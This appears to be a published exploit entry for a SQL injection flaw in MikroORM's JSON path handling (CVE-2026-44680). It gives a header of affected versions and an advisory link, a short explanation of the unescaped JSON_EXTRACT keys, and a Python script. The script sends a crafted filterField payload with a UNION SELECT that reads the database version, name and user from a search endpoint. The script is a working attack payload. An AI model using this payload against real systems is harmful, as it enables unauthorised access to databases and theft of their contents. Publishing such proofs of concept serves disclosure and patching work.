MikroORM 7.0.13 – SQL Injection
# Exploit Title: MikroORM 7.0.13 - SQL Injection # Google Dork: N/A # Date: 2026-05-27 # Exploit Author: cardosource # Vendor Homepage: https://mikro-orm.io/ # Software Link: https://github.com/mikro-orm/mikro-orm # Version: @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13 # Tested on: Docker / Debian Bookworm / Node.js 18 / MariaDB 10.x # CVE: CVE-2026-44680 # Advisory: https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp """ Description: The vulnerability exists because MikroORM fails to properly escape runtime-controlled JSON path keys when building JSON_EXTRACT queries. The attacker can break out of the JSON path context and inject arbitrary SQL. Affected API pattern: em.find(Entity, { jsonColumn: { [userControlledKey]: value } }) By injecting crafted JSON-path keys, it becomes possible to execute UNION SELECT statements and extract arbitrary database information. """ import requests import json url = "http://localhost:3000/api/users/search" payload = { "filterField": "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- ", "filterValue": "x" } headers = { "Content-Type": "application/json" } response = requests.post(url, json=payload, headers=headers) print(f"Status: {response.status_code}") print(json.dumps(response.json(), indent=2)) |